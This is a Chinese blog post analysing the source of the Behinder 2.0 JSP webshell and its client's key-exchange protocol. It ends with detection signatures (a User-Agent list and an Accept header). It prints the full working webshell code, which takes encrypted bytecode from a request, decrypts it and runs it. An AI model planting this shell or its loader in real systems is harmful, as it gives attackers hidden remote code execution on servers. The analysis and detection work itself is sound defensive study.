IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> [Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测 -> 正文阅读

[Java知识库][Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测

写在前面

大概是最近搞内存马有点累了,今晚顺便看看冰蝎部分源码,简简单单写篇博客休息休息,本着怕第一次看这个工具源码,怕直接看最新的容易不理解,就拿了个2.0版本看着玩吧,谁知道也太简单了:同款源码在rebeyond/Behinder

源码解读

反编译jar包后,其核心代码在net.rebeyond.behinder

Jsp马交互部分源码解读

直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载字节码,没得说接下来看下面部分,get请求传入一个pass参数,随机生成一串神秘字符放到sessin里面,
如果没有get传入pass,用post写一串神秘字符,后面从session中取出密钥然后先base64解码再aes解密恢复字节码并加载

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%><%
    if (request.getParameter("pass") != null) {
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        session.putValue("u", k);
        out.print(k);
        return;
    }
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>

认证流程

借一张网图来说明下认证流程
在这里插入图片描述
Behinder.jar!\net\rebeyond\behinder\ui\BasicInfoUtils.class下面的getBasicInfo看起来就是重点去关注的东西,先看看这个ShellService

在这里插入图片描述
首先初始化部分获取一些我们传入的url,pass等
在这里插入图片描述
接下来就是协商key的过程
在这里插入图片描述
先随机生成一串带pass的url
在这里插入图片描述
省略一些不必要的分析源码,自己看吧很简单判断类型http还是https等不细说,接下来获取返回结果
在这里插入图片描述
联系jsp内容很容易想到是类似这样的形式
在这里插入图片描述
正则匹配出结果,并通过getRawKey函数进行第二次的获取(和这个差不多的过程不单独去读了,多了一些cookie相关自己读一下就行),两次结果进行异或操作
在这里插入图片描述
接下来看看这个看起来又臭又长的部分,很简单,其实就只是保证两次获取的值的第一个字符不一样以及最后一个字符不一样而已,谈不上理解难度,之后设置一些值并返回
在这里插入图片描述
在获取了cookie和key之后,BasicInfoUtil的getBasicInfo就会调用ShellService的getBasicInfo方法来获取放了木马的服务器的基本信息
在这里插入图片描述
一看就是生成paylaod
在这里插入图片描述
由于是jsp,获取对应的字节内容先AES加密,再base64编码返回下
在这里插入图片描述
稍微看看这个BasciInfo干嘛,文字都有获取一些系统变量内容、JRE系统属性
在这里插入图片描述

接下来就是直接说的利用POST发送payload了然后返回执行结果,分析完毕
在这里插入图片描述

说个多余的话,我刚刚还很好奇为啥defineClass加载进去就直接调用了,毕竟没有写在static方法里面,后面发现我自己傻了,shell.jsp后面还有一坨被我吞了没看见
在这里插入图片描述
其他部分也没啥可说的了,同样的过程,只是defineClass加载的字节码不同罢了
在这里插入图片描述

特征检测

userAgent

可以看到

    public static String[] userAgents = new String[]{"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"};

冰蝎内置了十余种 UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,容易被检测到,因此如果同一个ip每次请求都换了ua头并且都命中上面列表就值得怀疑了

ACCEPT字段

这个字段比较特殊Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
在这里插入图片描述

不知不觉图书馆也闭馆了,今天到此结束

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2021-11-12 19:27:07  更:2021-11-12 19:28:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 0:48:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码